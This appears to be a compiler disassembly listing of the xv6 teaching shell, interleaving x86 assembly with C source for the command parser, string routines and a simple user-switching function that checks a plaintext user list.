88d: 68 96 14 00 00 push $0x1496
892: e8 49 f9 ff ff call 1e0 <panic>
897: 89 f6 mov %esi,%esi
899: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000008a0 <parsepipe>:
return cmd;
}
struct cmd*
parsepipe(char **ps, char *es)
{
8a0: 55 push %ebp
8a1: 89 e5 mov %esp,%ebp
8a3: 57 push %edi
8a4: 56 push %esi
8a5: 53 push %ebx
8a6: 83 ec 14 sub $0x14,%esp
8a9: 8b 5d 08 mov 0x8(%ebp),%ebx
8ac: 8b 75 0c mov 0xc(%ebp),%esi
struct cmd *cmd;
cmd = parseexec(ps, es);
8af: 56 push %esi
8b0: 53 push %ebx
8b1: e8 da fe ff ff call 790 <parseexec>
if(peek(ps, es, "|")){
8b6: 83 c4 0c add $0xc,%esp
struct cmd*
parsepipe(char **ps, char *es)
{
struct cmd *cmd;
cmd = parseexec(ps, es);
8b9: 89 c7 mov %eax,%edi
if(peek(ps, es, "|")){
8bb: 68 b0 14 00 00 push $0x14b0
8c0: 56 push %esi
8c1: 53 push %ebx
8c2: e8 a9 fd ff ff call 670 <peek>
8c7: 83 c4 10 add $0x10,%esp
8ca: 85 c0 test %eax,%eax
8cc: 75 12 jne 8e0 <parsepipe+0x40>
gettoken(ps, es, 0, 0);
cmd = pipecmd(cmd, parsepipe(ps, es));
}
return cmd;
}
8ce: 8d 65 f4 lea -0xc(%ebp),%esp
8d1: 89 f8 mov %edi,%eax
8d3: 5b pop %ebx
8d4: 5e pop %esi
8d5: 5f pop %edi
8d6: 5d pop %ebp
8d7: c3 ret
8d8: 90 nop
8d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
{
struct cmd *cmd;
cmd = parseexec(ps, es);
if(peek(ps, es, "|")){
gettoken(ps, es, 0, 0);
8e0: 6a 00 push $0x0
8e2: 6a 00 push $0x0
8e4: 56 push %esi
8e5: 53 push %ebx
8e6: e8 15 fc ff ff call 500 <gettoken>
cmd = pipecmd(cmd, parsepipe(ps, es));
8eb: 58 pop %eax
8ec: 5a pop %edx
8ed: 56 push %esi
8ee: 53 push %ebx
8ef: e8 ac ff ff ff call 8a0 <parsepipe>
8f4: 89 7d 08 mov %edi,0x8(%ebp)
8f7: 89 45 0c mov %eax,0xc(%ebp)
8fa: 83 c4 10 add $0x10,%esp
}
return cmd;
}
8fd: 8d 65 f4 lea -0xc(%ebp),%esp
900: 5b pop %ebx
901: 5e pop %esi
902: 5f pop %edi
903: 5d pop %ebp
struct cmd *cmd;
cmd = parseexec(ps, es);
if(peek(ps, es, "|")){
gettoken(ps, es, 0, 0);
cmd = pipecmd(cmd, parsepipe(ps, es));
904: e9 47 fb ff ff jmp 450 <pipecmd>
909: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000910 <parseline>:
return cmd;
}
struct cmd*
parseline(char **ps, char *es)
{
910: 55 push %ebp
911: 89 e5 mov %esp,%ebp
913: 57 push %edi
914: 56 push %esi
915: 53 push %ebx
916: 83 ec 14 sub $0x14,%esp
919: 8b 5d 08 mov 0x8(%ebp),%ebx
91c: 8b 75 0c mov 0xc(%ebp),%esi
struct cmd *cmd;
cmd = parsepipe(ps, es);
91f: 56 push %esi
920: 53 push %ebx
921: e8 7a ff ff ff call 8a0 <parsepipe>
while(peek(ps, es, "&")){
926: 83 c4 10 add $0x10,%esp
struct cmd*
parseline(char **ps, char *es)
{
struct cmd *cmd;
cmd = parsepipe(ps, es);
929: 89 c7 mov %eax,%edi
while(peek(ps, es, "&")){
92b: eb 1b jmp 948 <parseline+0x38>
92d: 8d 76 00 lea 0x0(%esi),%esi
gettoken(ps, es, 0, 0);
930: 6a 00 push $0x0
932: 6a 00 push $0x0
934: 56 push %esi
935: 53 push %ebx
936: e8 c5 fb ff ff call 500 <gettoken>
cmd = backcmd(cmd);
93b: 89 3c 24 mov %edi,(%esp)
93e: e8 8d fb ff ff call 4d0 <backcmd>
943: 83 c4 10 add $0x10,%esp
946: 89 c7 mov %eax,%edi
parseline(char **ps, char *es)
{
struct cmd *cmd;
cmd = parsepipe(ps, es);
while(peek(ps, es, "&")){
948: 83 ec 04 sub $0x4,%esp
94b: 68 b2 14 00 00 push $0x14b2
950: 56 push %esi
951: 53 push %ebx
952: e8 19 fd ff ff call 670 <peek>
957: 83 c4 10 add $0x10,%esp
95a: 85 c0 test %eax,%eax
95c: 75 d2 jne 930 <parseline+0x20>
gettoken(ps, es, 0, 0);
cmd = backcmd(cmd);
}
if(peek(ps, es, ";")){
95e: 83 ec 04 sub $0x4,%esp
961: 68 ae 14 00 00 push $0x14ae
966: 56 push %esi
967: 53 push %ebx
968: e8 03 fd ff ff call 670 <peek>
96d: 83 c4 10 add $0x10,%esp
970: 85 c0 test %eax,%eax
972: 75 0c jne 980 <parseline+0x70>
gettoken(ps, es, 0, 0);
cmd = listcmd(cmd, parseline(ps, es));
}
return cmd;
}
974: 8d 65 f4 lea -0xc(%ebp),%esp
977: 89 f8 mov %edi,%eax
979: 5b pop %ebx
97a: 5e pop %esi
97b: 5f pop %edi
97c: 5d pop %ebp
97d: c3 ret
97e: 66 90 xchg %ax,%ax
while(peek(ps, es, "&")){
gettoken(ps, es, 0, 0);
cmd = backcmd(cmd);
}
if(peek(ps, es, ";")){
gettoken(ps, es, 0, 0);
980: 6a 00 push $0x0
982: 6a 00 push $0x0
984: 56 push %esi
985: 53 push %ebx
986: e8 75 fb ff ff call 500 <gettoken>
cmd = listcmd(cmd, parseline(ps, es));
98b: 58 pop %eax
98c: 5a pop %edx
98d: 56 push %esi
98e: 53 push %ebx
98f: e8 7c ff ff ff call 910 <parseline>
994: 89 7d 08 mov %edi,0x8(%ebp)
997: 89 45 0c mov %eax,0xc(%ebp)
99a: 83 c4 10 add $0x10,%esp
}
return cmd;
}
99d: 8d 65 f4 lea -0xc(%ebp),%esp
9a0: 5b pop %ebx
9a1: 5e pop %esi
9a2: 5f pop %edi
9a3: 5d pop %ebp
gettoken(ps, es, 0, 0);
cmd = backcmd(cmd);
}
if(peek(ps, es, ";")){
gettoken(ps, es, 0, 0);
cmd = listcmd(cmd, parseline(ps, es));
9a4: e9 e7 fa ff ff jmp 490 <listcmd>
9a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
000009b0 <parseblock>:
return cmd;
}
struct cmd*
parseblock(char **ps, char *es)
{
9b0: 55 push %ebp
9b1: 89 e5 mov %esp,%ebp
9b3: 57 push %edi
9b4: 56 push %esi
9b5: 53 push %ebx
9b6: 83 ec 10 sub $0x10,%esp
9b9: 8b 5d 08 mov 0x8(%ebp),%ebx
9bc: 8b 75 0c mov 0xc(%ebp),%esi
struct cmd *cmd;
if(!peek(ps, es, "("))
9bf: 68 94 14 00 00 push $0x1494
9c4: 56 push %esi
9c5: 53 push %ebx
9c6: e8 a5 fc ff ff call 670 <peek>
9cb: 83 c4 10 add $0x10,%esp
9ce: 85 c0 test %eax,%eax
9d0: 74 4a je a1c <parseblock+0x6c>
panic("parseblock");
gettoken(ps, es, 0, 0);
9d2: 6a 00 push $0x0
9d4: 6a 00 push $0x0
9d6: 56 push %esi
9d7: 53 push %ebx
9d8: e8 23 fb ff ff call 500 <gettoken>
cmd = parseline(ps, es);
9dd: 58 pop %eax
9de: 5a pop %edx
9df: 56 push %esi
9e0: 53 push %ebx
9e1: e8 2a ff ff ff call 910 <parseline>
if(!peek(ps, es, ")"))
9e6: 83 c4 0c add $0xc,%esp
struct cmd *cmd;
if(!peek(ps, es, "("))
panic("parseblock");
gettoken(ps, es, 0, 0);
cmd = parseline(ps, es);
9e9: 89 c7 mov %eax,%edi
if(!peek(ps, es, ")"))
9eb: 68 d0 14 00 00 push $0x14d0
9f0: 56 push %esi
9f1: 53 push %ebx
9f2: e8 79 fc ff ff call 670 <peek>
9f7: 83 c4 10 add $0x10,%esp
9fa: 85 c0 test %eax,%eax
9fc: 74 2b je a29 <parseblock+0x79>
panic("syntax - missing )");
gettoken(ps, es, 0, 0);
9fe: 6a 00 push $0x0
a00: 6a 00 push $0x0
a02: 56 push %esi
a03: 53 push %ebx
a04: e8 f7 fa ff ff call 500 <gettoken>
cmd = parseredirs(cmd, ps, es);
a09: 83 c4 0c add $0xc,%esp
a0c: 56 push %esi
a0d: 53 push %ebx
a0e: 57 push %edi
a0f: e8 cc fc ff ff call 6e0 <parseredirs>
return cmd;
}
a14: 8d 65 f4 lea -0xc(%ebp),%esp
a17: 5b pop %ebx
a18: 5e pop %esi
a19: 5f pop %edi
a1a: 5d pop %ebp
a1b: c3 ret
parseblock(char **ps, char *es)
{
struct cmd *cmd;
if(!peek(ps, es, "("))
panic("parseblock");
a1c: 83 ec 0c sub $0xc,%esp
a1f: 68 b4 14 00 00 push $0x14b4
a24: e8 b7 f7 ff ff call 1e0 <panic>
gettoken(ps, es, 0, 0);
cmd = parseline(ps, es);
if(!peek(ps, es, ")"))
panic("syntax - missing )");
a29: 83 ec 0c sub $0xc,%esp
a2c: 68 bf 14 00 00 push $0x14bf
a31: e8 aa f7 ff ff call 1e0 <panic>
a36: 8d 76 00 lea 0x0(%esi),%esi
a39: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000a40 <nulterminate>:
}
// NUL-terminate all the counted strings.
struct cmd*
nulterminate(struct cmd *cmd)
{
a40: 55 push %ebp
a41: 89 e5 mov %esp,%ebp
a43: 53 push %ebx
a44: 83 ec 04 sub $0x4,%esp
a47: 8b 5d 08 mov 0x8(%ebp),%ebx
struct execcmd *ecmd;
struct listcmd *lcmd;
struct pipecmd *pcmd;
struct redircmd *rcmd;
if(cmd == 0)
a4a: 85 db test %ebx,%ebx
a4c: 0f 84 96 00 00 00 je ae8 <nulterminate+0xa8>
return 0;
switch(cmd->type){
a52: 83 3b 05 cmpl $0x5,(%ebx)
a55: 77 48 ja a9f <nulterminate+0x5f>
a57: 8b 03 mov (%ebx),%eax
a59: ff 24 85 64 15 00 00 jmp *0x1564(,%eax,4)
nulterminate(pcmd->right);
break;
case LIST:
lcmd = (struct listcmd*)cmd;
nulterminate(lcmd->left);
a60: 83 ec 0c sub $0xc,%esp
a63: ff 73 04 pushl 0x4(%ebx)
a66: e8 d5 ff ff ff call a40 <nulterminate>
nulterminate(lcmd->right);
a6b: 58 pop %eax
a6c: ff 73 08 pushl 0x8(%ebx)
a6f: e8 cc ff ff ff call a40 <nulterminate>
break;
a74: 83 c4 10 add $0x10,%esp
a77: 89 d8 mov %ebx,%eax
bcmd = (struct backcmd*)cmd;
nulterminate(bcmd->cmd);
break;
}
return cmd;
}
a79: 8b 5d fc mov -0x4(%ebp),%ebx
a7c: c9 leave
a7d: c3 ret
a7e: 66 90 xchg %ax,%ax
return 0;
switch(cmd->type){
case EXEC:
ecmd = (struct execcmd*)cmd;
for(i=0; ecmd->argv[i]; i++)
a80: 8b 4b 04 mov 0x4(%ebx),%ecx
a83: 8d 43 2c lea 0x2c(%ebx),%eax
a86: 85 c9 test %ecx,%ecx
a88: 74 15 je a9f <nulterminate+0x5f>
a8a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
*ecmd->eargv[i] = 0;
a90: 8b 10 mov (%eax),%edx
a92: 83 c0 04 add $0x4,%eax
a95: c6 02 00 movb $0x0,(%edx)
return 0;
switch(cmd->type){
case EXEC:
ecmd = (struct execcmd*)cmd;
for(i=0; ecmd->argv[i]; i++)
a98: 8b 50 d8 mov -0x28(%eax),%edx
a9b: 85 d2 test %edx,%edx
a9d: 75 f1 jne a90 <nulterminate+0x50>
struct redircmd *rcmd;
if(cmd == 0)
return 0;
switch(cmd->type){
a9f: 89 d8 mov %ebx,%eax
bcmd = (struct backcmd*)cmd;
nulterminate(bcmd->cmd);
break;
}
return cmd;
}
aa1: 8b 5d fc mov -0x4(%ebp),%ebx
aa4: c9 leave
aa5: c3 ret
aa6: 8d 76 00 lea 0x0(%esi),%esi
aa9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
nulterminate(lcmd->right);
break;
case BACK:
bcmd = (struct backcmd*)cmd;
nulterminate(bcmd->cmd);
ab0: 83 ec 0c sub $0xc,%esp
ab3: ff 73 04 pushl 0x4(%ebx)
ab6: e8 85 ff ff ff call a40 <nulterminate>
break;
abb: 89 d8 mov %ebx,%eax
abd: 83 c4 10 add $0x10,%esp
}
return cmd;
}
ac0: 8b 5d fc mov -0x4(%ebp),%ebx
ac3: c9 leave
ac4: c3 ret
ac5: 8d 76 00 lea 0x0(%esi),%esi
*ecmd->eargv[i] = 0;
break;
case REDIR:
rcmd = (struct redircmd*)cmd;
nulterminate(rcmd->cmd);
ac8: 83 ec 0c sub $0xc,%esp
acb: ff 73 04 pushl 0x4(%ebx)
ace: e8 6d ff ff ff call a40 <nulterminate>
*rcmd->efile = 0;
ad3: 8b 43 0c mov 0xc(%ebx),%eax
break;
ad6: 83 c4 10 add $0x10,%esp
break;
case REDIR:
rcmd = (struct redircmd*)cmd;
nulterminate(rcmd->cmd);
*rcmd->efile = 0;
ad9: c6 00 00 movb $0x0,(%eax)
break;
adc: 89 d8 mov %ebx,%eax
bcmd = (struct backcmd*)cmd;
nulterminate(bcmd->cmd);
break;
}
return cmd;
}
ade: 8b 5d fc mov -0x4(%ebp),%ebx
ae1: c9 leave
ae2: c3 ret
ae3: 90 nop
ae4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
struct listcmd *lcmd;
struct pipecmd *pcmd;
struct redircmd *rcmd;
if(cmd == 0)
return 0;
ae8: 31 c0 xor %eax,%eax
aea: eb 8d jmp a79 <nulterminate+0x39>
aec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000af0 <parsecmd>:
struct cmd *parseexec(char**, char*);
struct cmd *nulterminate(struct cmd*);
struct cmd*
parsecmd(char *s)
{
af0: 55 push %ebp
af1: 89 e5 mov %esp,%ebp
af3: 56 push %esi
af4: 53 push %ebx
char *es;
struct cmd *cmd;
es = s + strlen(s);
af5: 8b 5d 08 mov 0x8(%ebp),%ebx
af8: 83 ec 0c sub $0xc,%esp
afb: 53 push %ebx
afc: e8 ef 02 00 00 call df0 <strlen>
cmd = parseline(&s, es);
b01: 59 pop %ecx
parsecmd(char *s)
{
char *es;
struct cmd *cmd;
es = s + strlen(s);
b02: 01 c3 add %eax,%ebx
cmd = parseline(&s, es);
b04: 8d 45 08 lea 0x8(%ebp),%eax
b07: 5e pop %esi
b08: 53 push %ebx
b09: 50 push %eax
b0a: e8 01 fe ff ff call 910 <parseline>
b0f: 89 c6 mov %eax,%esi
peek(&s, es, "");
b11: 8d 45 08 lea 0x8(%ebp),%eax
b14: 83 c4 0c add $0xc,%esp
b17: 68 0e 15 00 00 push $0x150e
b1c: 53 push %ebx
b1d: 50 push %eax
b1e: e8 4d fb ff ff call 670 <peek>
if(s != es){
b23: 8b 45 08 mov 0x8(%ebp),%eax
b26: 83 c4 10 add $0x10,%esp
b29: 39 c3 cmp %eax,%ebx
b2b: 75 12 jne b3f <parsecmd+0x4f>
printf(2, "leftovers: %s\n", s);
panic("syntax");
}
nulterminate(cmd);
b2d: 83 ec 0c sub $0xc,%esp
b30: 56 push %esi
b31: e8 0a ff ff ff call a40 <nulterminate>
return cmd;
}
b36: 8d 65 f8 lea -0x8(%ebp),%esp
b39: 89 f0 mov %esi,%eax
b3b: 5b pop %ebx
b3c: 5e pop %esi
b3d: 5d pop %ebp
b3e: c3 ret
es = s + strlen(s);
cmd = parseline(&s, es);
peek(&s, es, "");
if(s != es){
printf(2, "leftovers: %s\n", s);
b3f: 52 push %edx
b40: 50 push %eax
b41: 68 d2 14 00 00 push $0x14d2
b46: 6a 02 push $0x2
b48: e8 d3 05 00 00 call 1120 <printf>
panic("syntax");
b4d: c7 04 24 96 14 00 00 movl $0x1496,(%esp)
b54: e8 87 f6 ff ff call 1e0 <panic>
b59: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000b60 <cu>:
}
return cmd;
}
int cu(int argc, char* argv1, char* argv2)
{
b60: 55 push %ebp
b61: 89 e5 mov %esp,%ebp
b63: 57 push %edi
b64: 56 push %esi
b65: 53 push %ebx
int loginSuccess = 0;
int fd = open("UserList", O_RDONLY);
char *targetUser = argv1;
char nameList[128];
char buf[512];
int checkReadFile = read(fd, buf,sizeof buf);
b66: 8d 9d e8 fd ff ff lea -0x218(%ebp),%ebx
}
return cmd;
}
int cu(int argc, char* argv1, char* argv2)
{
b6c: 81 ec 24 03 00 00 sub $0x324,%esp
int loginSuccess = 0;
int fd = open("UserList", O_RDONLY);
b72: 6a 00 push $0x0
b74: 68 e1 14 00 00 push $0x14e1
b79: e8 74 04 00 00 call ff2 <open>
char *targetUser = argv1;
char nameList[128];
char buf[512];
int checkReadFile = read(fd, buf,sizeof buf);
b7e: 83 c4 0c add $0xc,%esp
}
int cu(int argc, char* argv1, char* argv2)
{
int loginSuccess = 0;
int fd = open("UserList", O_RDONLY);
b81: 89 85 e0 fc ff ff mov %eax,-0x320(%ebp)
char *targetUser = argv1;
char nameList[128];
char buf[512];
int checkReadFile = read(fd, buf,sizeof buf);
b87: 68 00 02 00 00 push $0x200
b8c: 53 push %ebx
b8d: 50 push %eax
b8e: e8 37 04 00 00 call fca <read>
if(checkReadFile < 0)
b93: 83 c4 10 add $0x10,%esp
b96: 85 c0 test %eax,%eax
b98: 0f 88 89 01 00 00 js d27 <cu+0x1c7>
b9e: 31 ff xor %edi,%edi
ba0: c7 85 e4 fc ff ff 00 movl $0x0,-0x31c(%ebp)
ba7: 00 00 00
baa: eb 1c jmp bc8 <cu+0x68>
bac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
n = 0;
}
else
{
//printf(1,"n: %d\n",n);
nameList[n]=c;
bb0: 88 94 3d e8 fc ff ff mov %dl,-0x318(%ebp,%edi,1)
n++;
bb7: 83 c7 01 add $0x1,%edi
}
}while(c != '\0');
bba: 84 d2 test %dl,%dl
bbc: 0f 84 39 01 00 00 je cfb <cu+0x19b>
{
c = buf[i];
i++;
} while (c != ':');
}
n = 0;
bc2: 89 85 e4 fc ff ff mov %eax,-0x31c(%ebp)
int i = 0; // buffer iterator
int n = 0; // name iterator
char c;
do
{
c=buf[i];
bc8: 8b 85 e4 fc ff ff mov -0x31c(%ebp),%eax
bce: 0f b6 94 05 e8 fd ff movzbl -0x218(%ebp,%eax,1),%edx
bd5: ff
i++;
bd6: 83 c0 01 add $0x1,%eax
if(c==':')
bd9: 80 fa 3a cmp $0x3a,%dl
bdc: 75 d2 jne bb0 <cu+0x50>
{
// compare string
//printf(1, "names: %s\n", names);
char* j = targetUser;
char* k = nameList;
while(n > 0 && *j && *j == *k)
bde: 85 ff test %edi,%edi
be0: 74 4d je c2f <cu+0xcf>
be2: 8b 75 0c mov 0xc(%ebp),%esi
be5: 0f b6 16 movzbl (%esi),%edx
be8: 84 d2 test %dl,%dl
bea: 0f 84 f8 00 00 00 je ce8 <cu+0x188>
bf0: 3a 95 e8 fc ff ff cmp -0x318(%ebp),%dl
bf6: 0f 85 ec 00 00 00 jne ce8 <cu+0x188>
bfc: 8d 56 01 lea 0x1(%esi),%edx
bff: 01 f7 add %esi,%edi
c01: 8d 8d e8 fc ff ff lea -0x318(%ebp),%ecx
c07: 89 c6 mov %eax,%esi
c09: eb 1b jmp c26 <cu+0xc6>
c0b: 90 nop
c0c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
c10: 0f b6 02 movzbl (%edx),%eax
c13: 84 c0 test %al,%al
c15: 0f 84 c5 00 00 00 je ce0 <cu+0x180>
c1b: 83 c2 01 add $0x1,%edx
c1e: 3a 01 cmp (%ecx),%al
c20: 0f 85 ba 00 00 00 jne ce0 <cu+0x180>
{
//printf(1,"n=%d\n",n);
n--;
j++;
k++;
c26: 83 c1 01 add $0x1,%ecx
{
// compare string
//printf(1, "names: %s\n", names);
char* j = targetUser;
char* k = nameList;
while(n > 0 && *j && *j == *k)
c29: 39 fa cmp %edi,%edx
c2b: 75 e3 jne c10 <cu+0xb0>
c2d: 89 f0 mov %esi,%eax
// add password verification here
char password[128];
int p = 0; // password iterator
do
{
c = buf[i];
c2f: 0f b6 94 05 e8 fd ff movzbl -0x218(%ebp,%eax,1),%edx
c36: ff
i++;
if (c == ':')
c37: 80 fa 3a cmp $0x3a,%dl
c3a: 74 61 je c9d <cu+0x13d>
// add password verification here
char password[128];
int p = 0; // password iterator
do
{
c = buf[i];
c3c: 03 9d e4 fc ff ff add -0x31c(%ebp),%ebx
i++;
if (c == ':')
c42: 31 c0 xor %eax,%eax
}
break;
}
else
{
password[p] = c;
c44: 88 94 05 68 fd ff ff mov %dl,-0x298(%ebp,%eax,1)
p++;
c4b: 83 c0 01 add $0x1,%eax
// add password verification here
char password[128];
int p = 0; // password iterator
do
{
c = buf[i];
c4e: 0f b6 54 03 01 movzbl 0x1(%ebx,%eax,1),%edx
i++;
if (c == ':')
c53: 80 fa 3a cmp $0x3a,%dl
c56: 75 ec jne c44 <cu+0xe4>
{
// compare password string
j = argv2;
k = password;
while (p > 0 && *j && *j == *k)
c58: 8b 75 10 mov 0x10(%ebp),%esi
c5b: 0f b6 16 movzbl (%esi),%edx
c5e: 84 d2 test %dl,%dl
c60: 0f 84 d7 00 00 00 je d3d <cu+0x1dd>
c66: 3a 95 68 fd ff ff cmp -0x298(%ebp),%dl
c6c: 0f 85 cb 00 00 00 jne d3d <cu+0x1dd>
c72: 01 f0 add %esi,%eax
c74: 8d 95 68 fd ff ff lea -0x298(%ebp),%edx
c7a: 89 f1 mov %esi,%ecx
c7c: eb 15 jmp c93 <cu+0x133>
c7e: 66 90 xchg %ax,%ax
c80: 0f b6 19 movzbl (%ecx),%ebx
c83: 84 db test %bl,%bl
c85: 0f 84 b2 00 00 00 je d3d <cu+0x1dd>
c8b: 3a 1a cmp (%edx),%bl
c8d: 0f 85 aa 00 00 00 jne d3d <cu+0x1dd>
{
p--;
j++;
c93: 83 c1 01 add $0x1,%ecx
k++;
c96: 83 c2 01 add $0x1,%edx
if (c == ':')
{
// compare password string
j = argv2;
k = password;
while (p > 0 && *j && *j == *k)
c99: 39 c1 cmp %eax,%ecx
c9b: 75 e3 jne c80 <cu+0x120>
j++;
k++;
}
if (p == 0)
{
if (argv1[strlen(argv1)-1] == '\n')
c9d: 83 ec 0c sub $0xc,%esp
ca0: ff 75 0c pushl 0xc(%ebp)
ca3: e8 48 01 00 00 call df0 <strlen>
ca8: 8b 75 0c mov 0xc(%ebp),%esi
cab: 83 c4 10 add $0x10,%esp
cae: 80 7c 06 ff 0a cmpb $0xa,-0x1(%esi,%eax,1)
cb3: 0f 84 9a 00 00 00 je d53 <cu+0x1f3>
{
argv1[strlen(argv1)-1] = '\0';
}
changeUser(argv1);
cb9: 83 ec 0c sub $0xc,%esp
cbc: ff 75 0c pushl 0xc(%ebp)
printf(1,"User changed.\n");
loginSuccess = 1;
cbf: bb 01 00 00 00 mov $0x1,%ebx
{
if (argv1[strlen(argv1)-1] == '\n')
{
argv1[strlen(argv1)-1] = '\0';
}
changeUser(argv1);
cc4: e8 99 03 00 00 call 1062 <changeUser>
printf(1,"User changed.\n");
cc9: 58 pop %eax
cca: 5a pop %edx
ccb: 68 00 15 00 00 push $0x1500
cd0: 6a 01 push $0x1
cd2: e8 49 04 00 00 call 1120 <printf>
cd7: 83 c4 10 add $0x10,%esp
cda: eb 33 jmp d0f <cu+0x1af>
cdc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
ce0: 89 f0 mov %esi,%eax
ce2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
else
{
// skip the password part
do
{
c = buf[i];
ce8: 0f b6 14 03 movzbl (%ebx,%eax,1),%edx
i++;
cec: 83 c0 01 add $0x1,%eax
} while (c != ':');
cef: 80 fa 3a cmp $0x3a,%dl
cf2: 75 f4 jne ce8 <cu+0x188>
}
n = 0;
cf4: 31 ff xor %edi,%edi
cf6: e9 c7 fe ff ff jmp bc2 <cu+0x62>
}while(c != '\0');
if(c == '\0')
{
printf(1,"User not found\n");
cfb: 83 ec 08 sub $0x8,%esp
return cmd;
}
int cu(int argc, char* argv1, char* argv2)
{
int loginSuccess = 0;
cfe: 31 db xor %ebx,%ebx
}while(c != '\0');
if(c == '\0')
{
printf(1,"User not found\n");
d00: 68 0f 15 00 00 push $0x150f
d05: 6a 01 push $0x1
d07: e8 14 04 00 00 call 1120 <printf>
d0c: 83 c4 10 add $0x10,%esp
}
}
close(fd);
d0f: 83 ec 0c sub $0xc,%esp
d12: ff b5 e0 fc ff ff pushl -0x320(%ebp)
d18: e8 bd 02 00 00 call fda <close>
return loginSuccess;
}
d1d: 8d 65 f4 lea -0xc(%ebp),%esp
d20: 89 d8 mov %ebx,%eax
d22: 5b pop %ebx
d23: 5e pop %esi
d24: 5f pop %edi
d25: 5d pop %ebp
d26: c3 ret
char nameList[128];
char buf[512];
int checkReadFile = read(fd, buf,sizeof buf);
if(checkReadFile < 0)
{
printf(1,"Can't find user list\n");
d27: 83 ec 08 sub $0x8,%esp
return cmd;
}
int cu(int argc, char* argv1, char* argv2)
{
int loginSuccess = 0;
d2a: 31 db xor %ebx,%ebx
char nameList[128];
char buf[512];
int checkReadFile = read(fd, buf,sizeof buf);
if(checkReadFile < 0)
{
printf(1,"Can't find user list\n");
d2c: 68 ea 14 00 00 push $0x14ea
d31: 6a 01 push $0x1
d33: e8 e8 03 00 00 call 1120 <printf>
d38: 83 c4 10 add $0x10,%esp
d3b: eb d2 jmp d0f <cu+0x1af>
printf(1,"User changed.\n");
loginSuccess = 1;
}
else
{
printf(1,"Incorrect password. Please try again.\n");
d3d: 83 ec 08 sub $0x8,%esp
return cmd;
}
int cu(int argc, char* argv1, char* argv2)
{
int loginSuccess = 0;
d40: 31 db xor %ebx,%ebx
printf(1,"User changed.\n");
loginSuccess = 1;
}
else
{
printf(1,"Incorrect password. Please try again.\n");
d42: 68 7c 15 00 00 push $0x157c
d47: 6a 01 push $0x1
d49: e8 d2 03 00 00 call 1120 <printf>
d4e: 83 c4 10 add $0x10,%esp
d51: eb bc jmp d0f <cu+0x1af>
}
if (p == 0)
{
if (argv1[strlen(argv1)-1] == '\n')
{
argv1[strlen(argv1)-1] = '\0';
d53: 83 ec 0c sub $0xc,%esp
d56: ff 75 0c pushl 0xc(%ebp)
d59: e8 92 00 00 00 call df0 <strlen>
d5e: 8b 75 0c mov 0xc(%ebp),%esi
d61: 83 c4 10 add $0x10,%esp
d64: c6 44 06 ff 00 movb $0x0,-0x1(%esi,%eax,1)
d69: e9 4b ff ff ff jmp cb9 <cu+0x159>
d6e: 66 90 xchg %ax,%ax
00000d70 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
d70: 55 push %ebp
d71: 89 e5 mov %esp,%ebp
d73: 53 push %ebx
d74: 8b 45 08 mov 0x8(%ebp),%eax
d77: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
d7a: 89 c2 mov %eax,%edx
d7c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
d80: 83 c1 01 add $0x1,%ecx
d83: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
d87: 83 c2 01 add $0x1,%edx
d8a: 84 db test %bl,%bl
d8c: 88 5a ff mov %bl,-0x1(%edx)
d8f: 75 ef jne d80 <strcpy+0x10>
;
return os;
}
d91: 5b pop %ebx
d92: 5d pop %ebp
d93: c3 ret
d94: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
d9a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000da0 <strcmp>:
int
strcmp(const char *p, const char *q)
{
da0: 55 push %ebp
da1: 89 e5 mov %esp,%ebp
da3: 56 push %esi
da4: 53 push %ebx
da5: 8b 55 08 mov 0x8(%ebp),%edx
da8: 8b 4d 0c mov 0xc(%ebp),%ecx
while(*p && *p == *q)
dab: 0f b6 02 movzbl (%edx),%eax
dae: 0f b6 19 movzbl (%ecx),%ebx
db1: 84 c0 test %al,%al
db3: 75 1e jne dd3 <strcmp+0x33>
db5: eb 29 jmp de0 <strcmp+0x40>
db7: 89 f6 mov %esi,%esi
db9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p++, q++;
dc0: 83 c2 01 add $0x1,%edx
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
dc3: 0f b6 02 movzbl (%edx),%eax
p++, q++;
dc6: 8d 71 01 lea 0x1(%ecx),%esi
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
dc9: 0f b6 59 01 movzbl 0x1(%ecx),%ebx
dcd: 84 c0 test %al,%al
dcf: 74 0f je de0 <strcmp+0x40>
dd1: 89 f1 mov %esi,%ecx
dd3: 38 d8 cmp %bl,%al
dd5: 74 e9 je dc0 <strcmp+0x20>
p++, q++;
return (uchar)*p - (uchar)*q;
dd7: 29 d8 sub %ebx,%eax
}
dd9: 5b pop %ebx
dda: 5e pop %esi
ddb: 5d pop %ebp
ddc: c3 ret
ddd: 8d 76 00 lea 0x0(%esi),%esi
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
de0: 31 c0 xor %eax,%eax
p++, q++;
return (uchar)*p - (uchar)*q;
de2: 29 d8 sub %ebx,%eax
}
de4: 5b pop %ebx
de5: 5e pop %esi
de6: 5d pop %ebp
de7: c3 ret
de8: 90 nop
de9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000df0 <strlen>:
uint
strlen(const char *s)
{
df0: 55 push %ebp
df1: 89 e5 mov %esp,%ebp
df3: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
